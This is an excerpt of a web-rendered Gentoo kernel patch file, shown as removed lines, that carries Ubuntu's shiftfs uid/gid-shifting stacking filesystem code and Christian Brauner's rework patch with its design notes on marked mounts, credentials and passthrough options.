-+ |
752 |
-+const struct xattr_handler *shiftfs_xattr_handlers[] = { |
753 |
-+ &shiftfs_xattr_handler, |
754 |
-+ NULL |
755 |
-+}; |
756 |
-+ |
757 |
-+static const struct super_operations shiftfs_super_ops = { |
758 |
-+ .put_super = shiftfs_put_super, |
759 |
-+ .show_options = shiftfs_show_options, |
760 |
-+ .statfs = shiftfs_statfs, |
761 |
-+}; |
762 |
-+ |
763 |
-+struct shiftfs_data { |
764 |
-+ void *data; |
765 |
-+ const char *path; |
766 |
-+}; |
767 |
-+ |
768 |
-+static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
769 |
-+ int silent) |
770 |
-+{ |
771 |
-+ struct shiftfs_data *data = raw_data; |
772 |
-+ char *name = kstrdup(data->path, GFP_KERNEL); |
773 |
-+ int err = -ENOMEM; |
774 |
-+ struct shiftfs_super_info *ssi = NULL; |
775 |
-+ struct path path; |
776 |
-+ struct dentry *dentry; |
777 |
-+ |
778 |
-+ if (!name) |
779 |
-+ goto out; |
780 |
-+ |
781 |
-+ ssi = kzalloc(sizeof(*ssi), GFP_KERNEL); |
782 |
-+ if (!ssi) |
783 |
-+ goto out; |
784 |
-+ |
785 |
-+ err = -EPERM; |
786 |
-+ err = shiftfs_parse_options(ssi, data->data); |
787 |
-+ if (err) |
788 |
-+ goto out; |
789 |
-+ |
790 |
-+ /* to mark a mount point, must be real root */ |
791 |
-+ if (ssi->mark && !capable(CAP_SYS_ADMIN)) |
792 |
-+ goto out; |
793 |
-+ |
794 |
-+ /* else to mount a mark, must be userns admin */ |
795 |
-+ if (!ssi->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN)) |
796 |
-+ goto out; |
797 |
-+ |
798 |
-+ err = kern_path(name, LOOKUP_FOLLOW, &path); |
799 |
-+ if (err) |
800 |
-+ goto out; |
801 |
-+ |
802 |
-+ err = -EPERM; |
803 |
-+ |
804 |
-+ if (!S_ISDIR(path.dentry->d_inode->i_mode)) { |
805 |
-+ err = -ENOTDIR; |
806 |
-+ goto out_put; |
807 |
-+ } |
808 |
-+ |
809 |
-+ sb->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1; |
810 |
-+ if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) { |
811 |
-+ printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n"); |
812 |
-+ err = -EINVAL; |
813 |
-+ goto out_put; |
814 |
-+ } |
815 |
-+ |
816 |
-+ if (ssi->mark) { |
817 |
-+ /* |
818 |
-+ * this part is visible unshifted, so make sure no |
819 |
-+ * executables that could be used to give suid |
820 |
-+ * privileges |
821 |
-+ */ |
822 |
-+ sb->s_iflags = SB_I_NOEXEC; |
823 |
-+ ssi->mnt = path.mnt; |
824 |
-+ dentry = path.dentry; |
825 |
-+ } else { |
826 |
-+ struct shiftfs_super_info *mp_ssi; |
827 |
-+ |
828 |
-+ /* |
829 |
-+ * this leg executes if we're admin capable in |
830 |
-+ * the namespace, so be very careful |
831 |
-+ */ |
832 |
-+ if (path.dentry->d_sb->s_magic != SHIFTFS_MAGIC) |
833 |
-+ goto out_put; |
834 |
-+ mp_ssi = path.dentry->d_sb->s_fs_info; |
835 |
-+ if (!mp_ssi->mark) |
836 |
-+ goto out_put; |
837 |
-+ ssi->mnt = mntget(mp_ssi->mnt); |
838 |
-+ dentry = dget(path.dentry->d_fsdata); |
839 |
-+ path_put(&path); |
840 |
-+ } |
841 |
-+ ssi->userns = get_user_ns(dentry->d_sb->s_user_ns); |
842 |
-+ sb->s_fs_info = ssi; |
843 |
-+ sb->s_magic = SHIFTFS_MAGIC; |
844 |
-+ sb->s_op = &shiftfs_super_ops; |
845 |
-+ sb->s_xattr = shiftfs_xattr_handlers; |
846 |
-+ sb->s_d_op = &shiftfs_dentry_ops; |
847 |
-+ sb->s_root = d_make_root(shiftfs_new_inode(sb, S_IFDIR, dentry)); |
848 |
-+ sb->s_root->d_fsdata = dentry; |
849 |
-+ |
850 |
-+ return 0; |
851 |
-+ |
852 |
-+ out_put: |
853 |
-+ path_put(&path); |
854 |
-+ out: |
855 |
-+ kfree(name); |
856 |
-+ kfree(ssi); |
857 |
-+ return err; |
858 |
-+} |
859 |
-+ |
860 |
-+static struct dentry *shiftfs_mount(struct file_system_type *fs_type, |
861 |
-+ int flags, const char *dev_name, void *data) |
862 |
-+{ |
863 |
-+ struct shiftfs_data d = { data, dev_name }; |
864 |
-+ |
865 |
-+ return mount_nodev(fs_type, flags, &d, shiftfs_fill_super); |
866 |
-+} |
867 |
-+ |
868 |
-+static struct file_system_type shiftfs_type = { |
869 |
-+ .owner = THIS_MODULE, |
870 |
-+ .name = "shiftfs", |
871 |
-+ .mount = shiftfs_mount, |
872 |
-+ .kill_sb = kill_anon_super, |
873 |
-+ .fs_flags = FS_USERNS_MOUNT, |
874 |
-+}; |
875 |
-+ |
876 |
-+static int __init shiftfs_init(void) |
877 |
-+{ |
878 |
-+ return register_filesystem(&shiftfs_type); |
879 |
-+} |
880 |
-+ |
881 |
-+static void __exit shiftfs_exit(void) |
882 |
-+{ |
883 |
-+ unregister_filesystem(&shiftfs_type); |
884 |
-+} |
885 |
-+ |
886 |
-+MODULE_ALIAS_FS("shiftfs"); |
887 |
-+MODULE_AUTHOR("James Bottomley"); |
888 |
-+MODULE_DESCRIPTION("uid/gid shifting bind filesystem"); |
889 |
-+MODULE_LICENSE("GPL v2"); |
890 |
-+module_init(shiftfs_init) |
891 |
-+module_exit(shiftfs_exit) |
892 |
-diff --git a/include/uapi/linux/magic.h b/include/uapi/linux/magic.h |
893 |
-index 6325d1d0e90f..1f70efb41565 100644 |
894 |
---- a/include/uapi/linux/magic.h |
895 |
-+++ b/include/uapi/linux/magic.h |
896 |
-@@ -102,4 +102,6 @@ |
897 |
- #define DEVMEM_MAGIC 0x454d444d /* "DMEM" */ |
898 |
- #define SECRETMEM_MAGIC 0x5345434d /* "SECM" */ |
899 |
- |
900 |
-+#define SHIFTFS_MAGIC 0x6a656a62 |
901 |
-+ |
902 |
- #endif /* __LINUX_MAGIC_H__ */ |
903 |
--- |
904 |
-2.39.2 |
905 |
- |
906 |
-From 7b502b7e97db8ec9deff14f434eed2f2fbc0cd2f Mon Sep 17 00:00:00 2001 |
907 |
-From: Christian Brauner <christian@×××××××.io> |
908 |
-Date: Thu, 4 Apr 2019 15:39:12 +0200 |
909 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: rework and extend |
910 |
-Cc: mpagano@g.o |
911 |
- |
912 |
-BugLink: https://bugs.launchpad.net/bugs/1823186 |
913 |
- |
914 |
-/* Introduction */ |
915 |
-The shiftfs filesystem is implemented as a stacking filesystem. Since it is |
916 |
-a stacking filesystem it shares concepts with overlayfs and ecryptfs. |
917 |
-Usually, shiftfs will be stacked upon another filesystem. The filesystem on |
918 |
-top - shiftfs - is referred to as "upper filesystem" or "overlay" and the |
919 |
-filesystem it is stacked upon is referred to as "lower filesystem" or |
920 |
-"underlay". |
921 |
- |
922 |
-/* Marked and Unmarked shiftfs mounts */ |
923 |
-To use shiftfs it is necessary that a given mount is marked as shiftable via |
924 |
-the "mark" mount option. Any mount of shiftfs without the "mark" mount option |
925 |
-not on top of a shiftfs mount with the "mark" mount option will be refused with |
926 |
-EPERM. |
927 |
-After a marked shiftfs mount has been performed other shiftfs mounts |
928 |
-referencing the marked shiftfs mount can be created. These secondary shiftfs |
929 |
-mounts are usually what are of interest. |
930 |
-The marked shiftfs mount will take a reference to the underlying mountpoint of |
931 |
-the directory it is marking as shiftable. Any unmarked shiftfts mounts |
932 |
-referencing this marked shifts mount will take a second reference to this |
933 |
-directory as well. This ensures that the underlying marked shiftfs mount can be |
934 |
-unmounted thereby dropping the reference to the underlying directory without |
935 |
-invalidating the mountpoint of said directory since the non-marked shiftfs |
936 |
-mount still holds another reference to it. |
937 |
- |
938 |
-/* Stacking Depth */ |
939 |
-Shiftfs tries to keep the stack as flat as possible to avoid hitting the |
940 |
-kernel enforced filesystem stacking limit. |
941 |
- |
942 |
-/* Permission Model */ |
943 |
-When the mark shiftfs mount is created shiftfs will record the credentials of |
944 |
-the creator of the super block and stash it in the super block. When other |
945 |
-non-mark shiftfs mounts are created that reference the mark shiftfs mount they |
946 |
-will stash another reference to the creators credentials. Before calling into |
947 |
-the underlying filesystem shiftfs will switch to the creators credentials and |
948 |
-revert to the original credentials after the underlying filesystem operation |
949 |
-returns. |
950 |
- |
951 |
-/* Mount Options */ |
952 |
-- mark |
953 |
- When set the mark mount option indicates that the mount in question is |
954 |
- allowed to be shifted. Since shiftfs it mountable in by user namespace root |
955 |
- non-initial user namespace this mount options ensures that the system |
956 |
- administrator has decided that the marked mount is safe to be shifted. |
957 |
- To mark a mount as shiftable CAP_SYS_ADMIN in the user namespace is required. |
958 |
-- passthrough={0,1,2,3} |
959 |
- This mount options functions as a bitmask. When set to a non-zero value |
960 |
- shiftfs will try to act as an invisible shim sitting on top of the |
961 |
- underlying filesystem. |
962 |
- - 1: Shifts will report the filesystem type of the underlay for stat-like |
963 |
- system calls. |
964 |
- - 2: Shiftfs will passthrough whitelisted ioctl() to the underlay. |
965 |
- - 3: Shiftfs will both use 1 and 2. |
966 |
-Note that mount options on a marked mount cannot be changed. |
967 |
- |
968 |
-/* Extended Attributes */ |
969 |
-Shiftfs will make sure to translate extended attributes. |
970 |
- |
971 |
-/* Inodes Numbers */ |
972 |
-Shiftfs inodes numbers are copied up from the underlying filesystem, i.e. |
973 |
-shiftfs inode numbers will be identical to the corresponding underlying |
974 |
-filesystem's inode numbers. This has the advantage that inotify and friends |
975 |
-should work out of the box. |
976 |
-(In essence, shiftfs is nothing but a 1:1 mirror of the underlying filesystem's |
977 |
- dentries and inodes.) |
978 |
- |
979 |
-/* Device Support */ |
980 |
-Shiftfs only supports the creation of pipe and socket devices. Character and |
981 |
-block devices cannot be created through shiftfs. |
982 |
- |
983 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
984 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
985 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
986 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
987 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
988 |
---- |
989 |
- fs/Kconfig | 10 + |
990 |
- fs/shiftfs.c | 1852 ++++++++++++++++++++++++++++++++++++++++---------- |
991 |
- 2 files changed, 1493 insertions(+), 369 deletions(-) |
992 |
- |
993 |
-diff --git a/fs/Kconfig b/fs/Kconfig |
994 |
-index b53bece1e940..ada9a1234e72 100644 |
995 |
---- a/fs/Kconfig |
996 |
-+++ b/fs/Kconfig |
997 |
-@@ -136,6 +136,16 @@ config SHIFT_FS |
998 |
- unprivileged containers can use this to mount root volumes |
999 |
- using this technique. |
1000 |
- |
1001 |
-+config SHIFT_FS_POSIX_ACL |
1002 |
-+ bool "shiftfs POSIX Access Control Lists" |
1003 |
-+ depends on SHIFT_FS |
1004 |
-+ select FS_POSIX_ACL |
1005 |
-+ help |
1006 |
-+ POSIX Access Control Lists (ACLs) support permissions for users and |
1007 |
-+ groups beyond the owner/group/world scheme. |
1008 |
-+ |
1009 |
-+ If you don't know what Access Control Lists are, say N. |
1010 |
-+ |
1011 |
- menu "Caches" |
1012 |
- |
1013 |
- source "fs/netfs/Kconfig" |
1014 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
1015 |
-index f7cada126daa..ad1ae5bce6c1 100644 |
1016 |
---- a/fs/shiftfs.c |
1017 |
-+++ b/fs/shiftfs.c |
1018 |
-@@ -1,3 +1,4 @@ |
1019 |
-+#include <linux/capability.h> |
1020 |
- #include <linux/cred.h> |
1021 |
- #include <linux/mount.h> |
1022 |
- #include <linux/file.h> |
1023 |
-@@ -7,83 +8,179 @@ |
1024 |
- #include <linux/kernel.h> |
1025 |
- #include <linux/magic.h> |
1026 |
- #include <linux/parser.h> |
1027 |
-+#include <linux/security.h> |
1028 |
- #include <linux/seq_file.h> |
1029 |
- #include <linux/statfs.h> |
1030 |
- #include <linux/slab.h> |
1031 |
- #include <linux/user_namespace.h> |
1032 |
- #include <linux/uidgid.h> |
1033 |
- #include <linux/xattr.h> |
1034 |
-+#include <linux/posix_acl.h> |
1035 |
-+#include <linux/posix_acl_xattr.h> |
1036 |
-+#include <linux/uio.h> |
1037 |
- |
1038 |
- struct shiftfs_super_info { |
1039 |
- struct vfsmount *mnt; |
1040 |
- struct user_namespace *userns; |
1041 |
-+ /* creds of process who created the super block */ |
1042 |
-+ const struct cred *creator_cred; |
1043 |
- bool mark; |
1044 |
-+ unsigned int passthrough; |
1045 |
-+ struct shiftfs_super_info *info_mark; |
1046 |
- }; |
1047 |
- |
1048 |
--static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode, |
1049 |
-- struct dentry *dentry); |
1050 |
-+struct shiftfs_file_info { |
1051 |
-+ struct path realpath; |
1052 |
-+ struct file *realfile; |
1053 |
-+}; |
1054 |
-+ |
1055 |
-+struct kmem_cache *shiftfs_file_info_cache; |
1056 |
-+ |
1057 |
-+static void shiftfs_fill_inode(struct inode *inode, unsigned long ino, |
1058 |
-+ umode_t mode, dev_t dev, struct dentry *dentry); |
1059 |
-+ |
1060 |
-+#define SHIFTFS_PASSTHROUGH_NONE 0 |
1061 |
-+#define SHIFTFS_PASSTHROUGH_STAT 1 |
1062 |
-+#define SHIFTFS_PASSTHROUGH_ALL (SHIFTFS_PASSTHROUGH_STAT) |
1063 |
-+ |
1064 |
-+static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info) |
1065 |
-+{ |
1066 |
-+ if (!(info->passthrough & SHIFTFS_PASSTHROUGH_STAT)) |
1067 |
-+ return false; |
1068 |
-+ |
1069 |
-+ if (info->info_mark && |
1070 |
-+ !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_STAT)) |
1071 |
-+ return false; |
1072 |
-+ |
1073 |
-+ return true; |
1074 |
-+} |
1075 |
- |
1076 |
- enum { |
1077 |
- OPT_MARK, |
1078 |
-+ OPT_PASSTHROUGH, |
1079 |
- OPT_LAST, |
1080 |
- }; |
1081 |
- |
1082 |
- /* global filesystem options */ |
1083 |
- static const match_table_t tokens = { |
1084 |
- { OPT_MARK, "mark" }, |
1085 |
-+ { OPT_PASSTHROUGH, "passthrough=%u" }, |
1086 |
- { OPT_LAST, NULL } |
1087 |
- }; |
1088 |
- |
1089 |
--static const struct cred *shiftfs_get_up_creds(struct super_block *sb) |
1090 |
-+static const struct cred *shiftfs_override_creds(const struct super_block *sb) |
1091 |
- { |
1092 |
-- struct shiftfs_super_info *ssi = sb->s_fs_info; |
1093 |
-- struct cred *cred = prepare_creds(); |
1094 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
1095 |
- |
1096 |
-- if (!cred) |
1097 |
-- return NULL; |
1098 |
-+ return override_creds(sbinfo->creator_cred); |
1099 |
-+} |
1100 |
-+ |
1101 |
-+static inline void shiftfs_revert_object_creds(const struct cred *oldcred, |
1102 |
-+ struct cred *newcred) |
1103 |
-+{ |
1104 |
-+ revert_creds(oldcred); |
1105 |
-+ put_cred(newcred); |
1106 |
-+} |
1107 |
-+ |
1108 |
-+static int shiftfs_override_object_creds(const struct super_block *sb, |
1109 |
-+ const struct cred **oldcred, |
1110 |
-+ struct cred **newcred, |
1111 |
-+ struct dentry *dentry, umode_t mode, |
1112 |
-+ bool hardlink) |
1113 |
-+{ |
1114 |
-+ kuid_t fsuid = current_fsuid(); |
1115 |
-+ kgid_t fsgid = current_fsgid(); |
1116 |
-+ |
1117 |
-+ *oldcred = shiftfs_override_creds(sb); |
1118 |
-+ |
1119 |
-+ *newcred = prepare_creds(); |
1120 |
-+ if (!*newcred) { |
1121 |
-+ revert_creds(*oldcred); |
1122 |
-+ return -ENOMEM; |
1123 |
-+ } |
1124 |
-+ |
1125 |
-+ (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid)); |
1126 |
-+ (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid)); |
1127 |
-+ |
1128 |
-+ if (!hardlink) { |
1129 |
-+ int err = security_dentry_create_files_as(dentry, mode, |
1130 |
-+ &dentry->d_name, |
1131 |
-+ *oldcred, *newcred); |
1132 |
-+ if (err) { |
1133 |
-+ shiftfs_revert_object_creds(*oldcred, *newcred); |
1134 |
-+ return err; |
1135 |
-+ } |
1136 |
-+ } |
1137 |
- |
1138 |
-- cred->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, cred->fsuid)); |
1139 |
-- cred->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, cred->fsgid)); |
1140 |
-- put_user_ns(cred->user_ns); |
1141 |
-- cred->user_ns = get_user_ns(ssi->userns); |
1142 |
-+ put_cred(override_creds(*newcred)); |
1143 |
-+ return 0; |
1144 |
-+} |
1145 |
- |
1146 |
-- return cred; |
1147 |
-+static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to, |
1148 |
-+ kuid_t kuid) |
1149 |
-+{ |
1150 |
-+ uid_t uid = from_kuid(from, kuid); |
1151 |
-+ return make_kuid(to, uid); |
1152 |
- } |
1153 |
- |
1154 |
--static const struct cred *shiftfs_new_creds(const struct cred **newcred, |
1155 |
-- struct super_block *sb) |
1156 |
-+static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to, |
1157 |
-+ kgid_t kgid) |
1158 |
- { |
1159 |
-- const struct cred *cred = shiftfs_get_up_creds(sb); |
1160 |
-+ gid_t gid = from_kgid(from, kgid); |
1161 |
-+ return make_kgid(to, gid); |
1162 |
-+} |
1163 |
- |
1164 |
-- *newcred = cred; |
1165 |
-+static void shiftfs_copyattr(struct inode *from, struct inode *to) |
1166 |
-+{ |
1167 |
-+ struct user_namespace *from_ns = from->i_sb->s_user_ns; |
1168 |
-+ struct user_namespace *to_ns = to->i_sb->s_user_ns; |
1169 |
-+ |
1170 |
-+ to->i_uid = shift_kuid(from_ns, to_ns, from->i_uid); |
1171 |
-+ to->i_gid = shift_kgid(from_ns, to_ns, from->i_gid); |
1172 |
-+ to->i_mode = from->i_mode; |
1173 |
-+ to->i_atime = from->i_atime; |
1174 |
-+ to->i_mtime = from->i_mtime; |
1175 |
-+ to->i_ctime = from->i_ctime; |
1176 |
-+ i_size_write(to, i_size_read(from)); |
1177 |
-+} |
1178 |
- |
1179 |
-- if (cred) |
1180 |
-- cred = override_creds(cred); |
1181 |
-- else |
1182 |
-- printk(KERN_ERR "shiftfs: Credential override failed: no memory\n"); |
1183 |
-+static void shiftfs_copyflags(struct inode *from, struct inode *to) |
1184 |
-+{ |
1185 |
-+ unsigned int mask = S_SYNC | S_IMMUTABLE | S_APPEND | S_NOATIME; |
1186 |
- |
1187 |
-- return cred; |
1188 |
-+ inode_set_flags(to, from->i_flags & mask, mask); |
1189 |
- } |
1190 |
- |
1191 |
--static void shiftfs_old_creds(const struct cred *oldcred, |
1192 |
-- const struct cred **newcred) |
1193 |
-+static void shiftfs_file_accessed(struct file *file) |
1194 |
- { |
1195 |
-- if (!*newcred) |
1196 |
-+ struct inode *upperi, *loweri; |
1197 |
-+ |
1198 |
-+ if (file->f_flags & O_NOATIME) |
1199 |
- return; |
1200 |
- |
1201 |
-- revert_creds(oldcred); |
1202 |
-- put_cred(*newcred); |
1203 |
-+ upperi = file_inode(file); |
1204 |
-+ loweri = upperi->i_private; |
1205 |
-+ |
1206 |
-+ if (!loweri) |
1207 |
-+ return; |
1208 |
-+ |
1209 |
-+ upperi->i_mtime = loweri->i_mtime; |
1210 |
-+ upperi->i_ctime = loweri->i_ctime; |
1211 |
-+ |
1212 |
-+ touch_atime(&file->f_path); |
1213 |
- } |
1214 |
- |
1215 |
--static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options) |
1216 |
-+static int shiftfs_parse_mount_options(struct shiftfs_super_info *sbinfo, |
1217 |
-+ char *options) |
1218 |
- { |
1219 |
- char *p; |
1220 |
- substring_t args[MAX_OPT_ARGS]; |
1221 |
- |
1222 |
-- ssi->mark = false; |
1223 |
-+ sbinfo->mark = false; |
1224 |
-+ sbinfo->passthrough = 0; |
1225 |
- |
1226 |
- while ((p = strsep(&options, ",")) != NULL) { |
1227 |
-- int token; |
1228 |
-+ int err, intarg, token; |
1229 |
- |
1230 |
- if (!*p) |
1231 |
- continue; |
1232 |
-@@ -91,121 +188,140 @@ static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options) |
1233 |
- token = match_token(p, tokens, args); |
1234 |
- switch (token) { |
1235 |
- case OPT_MARK: |
1236 |
-- ssi->mark = true; |
1237 |
-+ sbinfo->mark = true; |
1238 |
-+ break; |
1239 |
-+ case OPT_PASSTHROUGH: |
1240 |
-+ err = match_int(&args[0], &intarg); |
1241 |
-+ if (err) |
1242 |
-+ return err; |
1243 |
-+ |
1244 |
-+ if (intarg & ~SHIFTFS_PASSTHROUGH_ALL) |
1245 |
-+ return -EINVAL; |
1246 |
-+ |
1247 |
-+ sbinfo->passthrough = intarg; |
1248 |
- break; |
1249 |
- default: |
1250 |
- return -EINVAL; |
1251 |
- } |
1252 |
- } |
1253 |
-+ |
1254 |
- return 0; |
1255 |
- } |
1256 |
- |
1257 |
- static void shiftfs_d_release(struct dentry *dentry) |
1258 |
- { |
1259 |
-- struct dentry *real = dentry->d_fsdata; |
1260 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1261 |
- |
1262 |
-- dput(real); |
1263 |
-+ if (lowerd) |
1264 |
-+ dput(lowerd); |
1265 |
- } |
1266 |
- |
1267 |
- static struct dentry *shiftfs_d_real(struct dentry *dentry, |
1268 |
- const struct inode *inode) |
1269 |
- { |
1270 |
-- struct dentry *real = dentry->d_fsdata; |
1271 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1272 |
-+ |
1273 |
-+ if (inode && d_inode(dentry) == inode) |
1274 |
-+ return dentry; |
1275 |
- |
1276 |
-- if (unlikely(real->d_flags & DCACHE_OP_REAL)) |
1277 |
-- return real->d_op->d_real(real, real->d_inode); |
1278 |
-+ lowerd = d_real(lowerd, inode); |
1279 |
-+ if (lowerd && (!inode || inode == d_inode(lowerd))) |
1280 |
-+ return lowerd; |
1281 |
- |
1282 |
-- return real; |
1283 |
-+ WARN(1, "shiftfs_d_real(%pd4, %s:%lu): real dentry not found\n", dentry, |
1284 |
-+ inode ? inode->i_sb->s_id : "NULL", inode ? inode->i_ino : 0); |
1285 |
-+ return dentry; |
1286 |
- } |
1287 |
- |
1288 |
- static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags) |
1289 |
- { |
1290 |
-- struct dentry *real = dentry->d_fsdata; |
1291 |
-+ int err = 1; |
1292 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1293 |
- |
1294 |
-- if (d_unhashed(real)) |
1295 |
-+ if (d_is_negative(lowerd) != d_is_negative(dentry)) |
1296 |
- return 0; |
1297 |
- |
1298 |
-- if (!(real->d_flags & DCACHE_OP_WEAK_REVALIDATE)) |
1299 |
-- return 1; |
1300 |
-+ if ((lowerd->d_flags & DCACHE_OP_WEAK_REVALIDATE)) |
1301 |
-+ err = lowerd->d_op->d_weak_revalidate(lowerd, flags); |
1302 |
- |
1303 |
-- return real->d_op->d_weak_revalidate(real, flags); |
1304 |
-+ if (d_really_is_positive(dentry)) { |
1305 |
-+ struct inode *inode = d_inode(dentry); |
1306 |
-+ struct inode *loweri = d_inode(lowerd); |
1307 |
-+ |
1308 |
-+ shiftfs_copyattr(loweri, inode); |
1309 |
-+ if (!inode->i_nlink) |
1310 |
-+ err = 0; |
1311 |
-+ } |
1312 |
-+ |
1313 |
-+ return err; |
1314 |
- } |
1315 |
- |
1316 |
- static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags) |
1317 |
- { |
1318 |
-- struct dentry *real = dentry->d_fsdata; |
1319 |
-- int ret; |
1320 |
-+ int err = 1; |
1321 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1322 |
- |
1323 |
-- if (d_unhashed(real)) |
1324 |
-+ if (d_unhashed(lowerd) || |
1325 |
-+ ((d_is_negative(lowerd) != d_is_negative(dentry)))) |
1326 |
- return 0; |
1327 |
- |
1328 |
-- /* |
1329 |
-- * inode state of underlying changed from positive to negative |
1330 |
-- * or vice versa; force a lookup to update our view |
1331 |
-- */ |
1332 |
-- if (d_is_negative(real) != d_is_negative(dentry)) |
1333 |
-- return 0; |
1334 |
-+ if (flags & LOOKUP_RCU) |
1335 |
-+ return -ECHILD; |
1336 |
- |
1337 |
-- if (!(real->d_flags & DCACHE_OP_REVALIDATE)) |
1338 |
-- return 1; |
1339 |
-+ if ((lowerd->d_flags & DCACHE_OP_REVALIDATE)) |
1340 |
-+ err = lowerd->d_op->d_revalidate(lowerd, flags); |
1341 |
- |
1342 |
-- ret = real->d_op->d_revalidate(real, flags); |
1343 |
-+ if (d_really_is_positive(dentry)) { |
1344 |
-+ struct inode *inode = d_inode(dentry); |
1345 |
-+ struct inode *loweri = d_inode(lowerd); |
1346 |
- |
1347 |
-- if (ret == 0 && !(flags & LOOKUP_RCU)) |
1348 |
-- d_invalidate(real); |
1349 |
-+ shiftfs_copyattr(loweri, inode); |
1350 |
-+ if (!inode->i_nlink) |
1351 |
-+ err = 0; |
1352 |
-+ } |
1353 |
- |
1354 |
-- return ret; |
1355 |
-+ return err; |
1356 |
- } |
1357 |
- |
1358 |
- static const struct dentry_operations shiftfs_dentry_ops = { |
1359 |
-- .d_release = shiftfs_d_release, |
1360 |
-- .d_real = shiftfs_d_real, |
1361 |
-- .d_revalidate = shiftfs_d_revalidate, |
1362 |
-+ .d_release = shiftfs_d_release, |
1363 |
-+ .d_real = shiftfs_d_real, |
1364 |
-+ .d_revalidate = shiftfs_d_revalidate, |
1365 |
- .d_weak_revalidate = shiftfs_d_weak_revalidate, |
1366 |
- }; |
1367 |
- |
1368 |
--static int shiftfs_readlink(struct dentry *dentry, char __user *data, |
1369 |
-- int flags) |
1370 |
--{ |
1371 |
-- struct dentry *real = dentry->d_fsdata; |
1372 |
-- const struct inode_operations *iop = real->d_inode->i_op; |
1373 |
-- |
1374 |
-- if (iop->readlink) |
1375 |
-- return iop->readlink(real, data, flags); |
1376 |
-- |
1377 |
-- return -EINVAL; |
1378 |
--} |
1379 |
-- |
1380 |
- static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode, |
1381 |
- struct delayed_call *done) |
1382 |
- { |
1383 |
-- if (dentry) { |
1384 |
-- struct dentry *real = dentry->d_fsdata; |
1385 |
-- struct inode *reali = real->d_inode; |
1386 |
-- const struct inode_operations *iop = reali->i_op; |
1387 |
-- const char *res = ERR_PTR(-EPERM); |
1388 |
-- |
1389 |
-- if (iop->get_link) |
1390 |
-- res = iop->get_link(real, reali, done); |
1391 |
-+ const char *p; |
1392 |
-+ const struct cred *oldcred; |
1393 |
-+ struct dentry *lowerd; |
1394 |
- |
1395 |
-- return res; |
1396 |
-- } else { |
1397 |
-- /* RCU lookup not supported */ |
1398 |
-+ /* RCU lookup not supported */ |
1399 |
-+ if (!dentry) |
1400 |
- return ERR_PTR(-ECHILD); |
1401 |
-- } |
1402 |
-+ |
1403 |
-+ lowerd = dentry->d_fsdata; |
1404 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1405 |
-+ p = vfs_get_link(lowerd, done); |
1406 |
-+ revert_creds(oldcred); |
1407 |
-+ |
1408 |
-+ return p; |
1409 |
- } |
1410 |
- |
1411 |
- static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode, |
1412 |
- const char *name, const void *value, |
1413 |
- size_t size, int flags) |
1414 |
- { |
1415 |
-- struct dentry *real = dentry->d_fsdata; |
1416 |
-- int err = -EOPNOTSUPP; |
1417 |
-- const struct cred *oldcred, *newcred; |
1418 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1419 |
-+ int err; |
1420 |
-+ const struct cred *oldcred; |
1421 |
-+ |
1422 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1423 |
-+ err = vfs_setxattr(lowerd, name, value, size, flags); |
1424 |
-+ revert_creds(oldcred); |
1425 |
- |
1426 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1427 |
-- err = vfs_setxattr(real, name, value, size, flags); |
1428 |
-- shiftfs_old_creds(oldcred, &newcred); |
1429 |
-+ shiftfs_copyattr(lowerd->d_inode, inode); |
1430 |
- |
1431 |
- return err; |
1432 |
- } |
1433 |
-@@ -214,13 +330,13 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler, |
1434 |
- struct dentry *dentry, struct inode *inode, |
1435 |
- const char *name, void *value, size_t size) |
1436 |
- { |
1437 |
-- struct dentry *real = dentry->d_fsdata; |
1438 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1439 |
- int err; |
1440 |
-- const struct cred *oldcred, *newcred; |
1441 |
-+ const struct cred *oldcred; |
1442 |
- |
1443 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1444 |
-- err = vfs_getxattr(real, name, value, size); |
1445 |
-- shiftfs_old_creds(oldcred, &newcred); |
1446 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1447 |
-+ err = vfs_getxattr(lowerd, name, value, size); |
1448 |
-+ revert_creds(oldcred); |
1449 |
- |
1450 |
- return err; |
1451 |
- } |
1452 |
-@@ -228,26 +344,29 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler, |
1453 |
- static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list, |
1454 |
- size_t size) |
1455 |
- { |
1456 |
-- struct dentry *real = dentry->d_fsdata; |
1457 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1458 |
- int err; |
